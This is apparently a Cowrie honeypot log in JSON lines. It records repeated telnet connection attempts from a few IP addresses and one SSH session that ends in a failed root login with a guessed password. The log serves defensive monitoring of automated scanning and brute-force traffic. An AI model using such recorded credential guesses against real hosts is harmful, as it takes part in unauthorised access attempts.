{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":53912,"dst_ip":"159.203.135.109","dst_port":23,"session":"92587ac0dc62","protocol":"telnet","message":"New connection: 51.15.157.40:53912 (159.203.135.109:23) [session: 92587ac0dc62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:07.452741Z"}
{"eventid":"cowrie.session.closed","duration":30.717411279678345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:07.457948Z","src_ip":"51.15.157.40","session":"8936dd1912c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.72420883178711,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:07.793461Z","src_ip":"51.15.157.40","session":"e9ba0da5e278","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":39426,"dst_ip":"159.203.135.109","dst_port":23,"session":"edef5cd5a0e7","protocol":"telnet","message":"New connection: 157.15.20.138:39426 (159.203.135.109:23) [session: edef5cd5a0e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:08.187666Z"}
{"eventid":"cowrie.session.closed","duration":30.565311431884766,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:08.342900Z","src_ip":"157.15.20.138","session":"d122d9bdecae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.226786851882935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:08.436487Z","src_ip":"51.15.157.40","session":"ab8d98aa80a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30575966835022,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:08.498374Z","src_ip":"51.15.157.40","session":"73b3fb2554f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3597674369812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:09.135207Z","src_ip":"157.15.20.138","session":"6c59bf122864","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.822674036026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:09.206993Z","src_ip":"157.15.20.138","session":"4275365daf5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.832181930541992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:09.292056Z","src_ip":"51.15.157.40","session":"60da2337c2d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":35798,"dst_ip":"159.203.135.109","dst_port":23,"session":"960a13498fb2","protocol":"telnet","message":"New connection: 51.15.157.40:35798 (159.203.135.109:23) [session: 960a13498fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:09.606199Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":34516,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5209f22e1e7","protocol":"telnet","message":"New connection: 103.171.45.122:34516 (159.203.135.109:23) [session: f5209f22e1e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:09.680946Z"}
{"eventid":"cowrie.session.closed","duration":31.754807710647583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:09.723417Z","src_ip":"51.15.157.40","session":"6bb2c0dfd244","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.685667753219604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:09.844992Z","src_ip":"51.15.157.40","session":"d7a13374c92c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":39434,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d31c3331b7f","protocol":"telnet","message":"New connection: 157.15.20.138:39434 (159.203.135.109:23) [session: 6d31c3331b7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:10.014838Z"}
{"eventid":"cowrie.session.closed","duration":31.093538522720337,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:10.149750Z","src_ip":"51.15.157.40","session":"b5ae41b275f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":37966,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf123c57c918","protocol":"telnet","message":"New connection: 51.15.157.40:37966 (159.203.135.109:23) [session: cf123c57c918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:10.257823Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":38142,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cb50110226e","protocol":"telnet","message":"New connection: 51.15.157.40:38142 (159.203.135.109:23) [session: 2cb50110226e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:10.323619Z"}
{"eventid":"cowrie.session.closed","duration":30.99538803100586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:10.367239Z","src_ip":"51.15.157.40","session":"df9a88a60823","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":39438,"dst_ip":"159.203.135.109","dst_port":23,"session":"69aa26c244a6","protocol":"telnet","message":"New connection: 157.15.20.138:39438 (159.203.135.109:23) [session: 69aa26c244a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:10.654894Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":40068,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fbe23b7cd4e","protocol":"telnet","message":"New connection: 51.15.157.40:40068 (159.203.135.109:23) [session: 0fbe23b7cd4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:10.736098Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":40564,"dst_ip":"159.203.135.109","dst_port":23,"session":"6adf67805380","protocol":"telnet","message":"New connection: 51.15.157.40:40564 (159.203.135.109:23) [session: 6adf67805380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:10.904090Z"}
{"eventid":"cowrie.session.closed","duration":30.467900037765503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:11.196112Z","src_ip":"51.15.157.40","session":"eb97b449edef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.216398239135742,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:11.223636Z","src_ip":"51.15.157.40","session":"053157d6d1be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":41702,"dst_ip":"159.203.135.109","dst_port":23,"session":"9efbb4e4fb31","protocol":"telnet","message":"New connection: 51.15.157.40:41702 (159.203.135.109:23) [session: 9efbb4e4fb31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:11.281341Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":33304,"dst_ip":"159.203.135.109","dst_port":23,"session":"e30d85264e3f","protocol":"telnet","message":"New connection: 104.236.196.85:33304 (159.203.135.109:23) [session: e30d85264e3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:11.285595Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":42176,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8d4d145d89a","protocol":"telnet","message":"New connection: 51.15.157.40:42176 (159.203.135.109:23) [session: d8d4d145d89a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:11.365766Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":42306,"dst_ip":"159.203.135.109","dst_port":23,"session":"8eb4e785ad43","protocol":"telnet","message":"New connection: 51.15.157.40:42306 (159.203.135.109:23) [session: 8eb4e785ad43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:11.407074Z"}
{"eventid":"cowrie.session.closed","duration":30.66015887260437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:11.429420Z","src_ip":"157.15.20.138","session":"58a059b6b60a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.649122953414917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:11.553847Z","src_ip":"34.69.118.1","session":"0f2d8a1ce6a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":43286,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b498592acd8","protocol":"telnet","message":"New connection: 51.15.157.40:43286 (159.203.135.109:23) [session: 4b498592acd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:11.623188Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":39452,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f830f5024c3","protocol":"telnet","message":"New connection: 157.15.20.138:39452 (159.203.135.109:23) [session: 8f830f5024c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:11.673808Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":43710,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9b796f0f210","protocol":"telnet","message":"New connection: 51.15.157.40:43710 (159.203.135.109:23) [session: c9b796f0f210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:11.712870Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":39482,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8a945b7a732","protocol":"telnet","message":"New connection: 157.15.20.138:39482 (159.203.135.109:23) [session: a8a945b7a732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:12.055681Z"}
{"eventid":"cowrie.session.closed","duration":30.75826358795166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:12.244724Z","src_ip":"103.171.45.122","session":"f4535f01ecff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.268339157104492,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:12.255177Z","src_ip":"51.15.157.40","session":"e1e5b3438b60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":39492,"dst_ip":"159.203.135.109","dst_port":23,"session":"7128614b1236","protocol":"telnet","message":"New connection: 157.15.20.138:39492 (159.203.135.109:23) [session: 7128614b1236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:12.260358Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":45918,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef4342d554cc","protocol":"telnet","message":"New connection: 51.15.157.40:45918 (159.203.135.109:23) [session: ef4342d554cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:12.435302Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":46100,"dst_ip":"159.203.135.109","dst_port":23,"session":"4443e4dc98e3","protocol":"telnet","message":"New connection: 51.15.157.40:46100 (159.203.135.109:23) [session: 4443e4dc98e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:12.485027Z"}
{"eventid":"cowrie.session.closed","duration":30.4166579246521,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:12.780591Z","src_ip":"89.39.83.70","session":"1912bf4b9161","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.762146711349487,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:12.789384Z","src_ip":"51.15.157.40","session":"eac9d39d95a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":47966,"dst_ip":"159.203.135.109","dst_port":23,"session":"39bb6c3cfe6c","protocol":"telnet","message":"New connection: 51.15.157.40:47966 (159.203.135.109:23) [session: 39bb6c3cfe6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:12.940079Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":39530,"dst_ip":"159.203.135.109","dst_port":23,"session":"30969c1b7d60","protocol":"telnet","message":"New connection: 157.15.20.138:39530 (159.203.135.109:23) [session: 30969c1b7d60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:13.019125Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":44814,"dst_ip":"159.203.135.109","dst_port":23,"session":"09ecd9f0e0a0","protocol":"telnet","message":"New connection: 51.15.157.40:44814 (159.203.135.109:23) [session: 09ecd9f0e0a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:13.096596Z"}
{"eventid":"cowrie.session.closed","duration":30.261271238327026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:13.122502Z","src_ip":"51.15.157.40","session":"3c0e0279435d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":34538,"dst_ip":"159.203.135.109","dst_port":23,"session":"d065fd27eb25","protocol":"telnet","message":"New connection: 103.171.45.122:34538 (159.203.135.109:23) [session: d065fd27eb25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:13.204779Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":39506,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8ca5bc10607","protocol":"telnet","message":"New connection: 157.15.20.138:39506 (159.203.135.109:23) [session: d8ca5bc10607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:13.400124Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":39544,"dst_ip":"159.203.135.109","dst_port":23,"session":"0329d181e9ac","protocol":"telnet","message":"New connection: 157.15.20.138:39544 (159.203.135.109:23) [session: 0329d181e9ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:13.529733Z"}
{"eventid":"cowrie.session.closed","duration":30.624093770980835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:13.548427Z","src_ip":"51.15.157.40","session":"663f849c6797","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.54340147972107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:13.553258Z","src_ip":"51.15.157.40","session":"0564b9ee970d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":33306,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3967aff91cd","protocol":"telnet","message":"New connection: 104.236.196.85:33306 (159.203.135.109:23) [session: a3967aff91cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:13.606352Z"}
{"eventid":"cowrie.session.closed","duration":31.369995832443237,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:13.641035Z","src_ip":"51.15.157.40","session":"5229ea886730","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":50430,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ddeb21bba5c","protocol":"telnet","message":"New connection: 51.15.157.40:50430 (159.203.135.109:23) [session: 9ddeb21bba5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:13.751865Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":51166,"dst_ip":"159.203.135.109","dst_port":23,"session":"87ae8ab1846a","protocol":"telnet","message":"New connection: 51.15.157.40:51166 (159.203.135.109:23) [session: 87ae8ab1846a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:13.946828Z"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":48698,"dst_ip":"10.17.0.5","dst_port":22,"session":"a01041fb26da","protocol":"ssh","message":"New connection: 76.127.61.251:48698 (10.17.0.5:22) [session: a01041fb26da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:14.034030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:14.039858Z","src_ip":"76.127.61.251","session":"a01041fb26da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:14.097561Z","src_ip":"76.127.61.251","session":"a01041fb26da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":39536,"dst_ip":"159.203.135.109","dst_port":23,"session":"044fb7bb4115","protocol":"telnet","message":"New connection: 157.15.20.138:39536 (159.203.135.109:23) [session: 044fb7bb4115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:14.191766Z"}
{"eventid":"cowrie.session.closed","duration":30.946791410446167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:14.214190Z","src_ip":"51.15.157.40","session":"4baab491083e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"wanghui","message":"login attempt [root/wanghui] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:14.365870Z","src_ip":"76.127.61.251","session":"a01041fb26da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.216153621673584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:14.403518Z","src_ip":"51.15.157.40","session":"5b5cdea2f690","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":52960,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ccdf03ca46e","protocol":"telnet","message":"New connection: 51.15.157.40:52960 (159.203.135.109:23) [session: 5ccdf03ca46e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:14.533772Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":53550,"dst_ip":"159.203.135.109","dst_port":23,"session":"d576dfe784d5","protocol":"telnet","message":"New connection: 51.15.157.40:53550 (159.203.135.109:23) [session: d576dfe784d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:14.736512Z"}
{"eventid":"cowrie.session.closed","duration":31.325778245925903,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:14.791615Z","src_ip":"51.15.157.40","session":"d2d4e0f6d2da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.883265733718872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:14.912962Z","src_ip":"34.69.118.1","session":"f15fd91e8ee9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":39556,"dst_ip":"159.203.135.109","dst_port":23,"session":"3047484dc766","protocol":"telnet","message":"New connection: 157.15.20.138:39556 (159.203.135.109:23) [session: 3047484dc766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:15.085798Z"}
{"eventid":"cowrie.session.closed","duration":30.36970043182373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:15.099142Z","src_ip":"51.15.157.40","session":"fc7b294b9875","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.353073835372925,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:15.137171Z","src_ip":"157.15.20.138","session":"df22f53b83a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91300320625305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:15.167260Z","src_ip":"51.15.157.40","session":"ed411b6917ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.319456815719604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:15.225564Z","src_ip":"157.15.20.138","session":"74c282b07029","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":55100,"dst_ip":"159.203.135.109","dst_port":23,"session":"7eecf14022d6","protocol":"telnet","message":"New connection: 51.15.157.40:55100 (159.203.135.109:23) [session: 7eecf14022d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:15.340627Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:15.428251Z","src_ip":"76.127.61.251","session":"a01041fb26da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.24177384376526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:16.098784Z","src_ip":"157.15.20.138","session":"6cd2f93f9869","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":58098,"dst_ip":"159.203.135.109","dst_port":23,"session":"939dac9e0c42","protocol":"telnet","message":"New connection: 51.15.157.40:58098 (159.203.135.109:23) [session: 939dac9e0c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:16.303841Z"}
{"eventid":"cowrie.session.closed","duration":30.85136914253235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:16.308632Z","src_ip":"51.15.157.40","session":"342720ed5459","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42409086227417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:16.448133Z","src_ip":"51.15.157.40","session":"f3f4d8a77c4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.876943588256836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:16.482540Z","src_ip":"51.15.157.40","session":"9780847f4a8a","protocol":"telnet"}
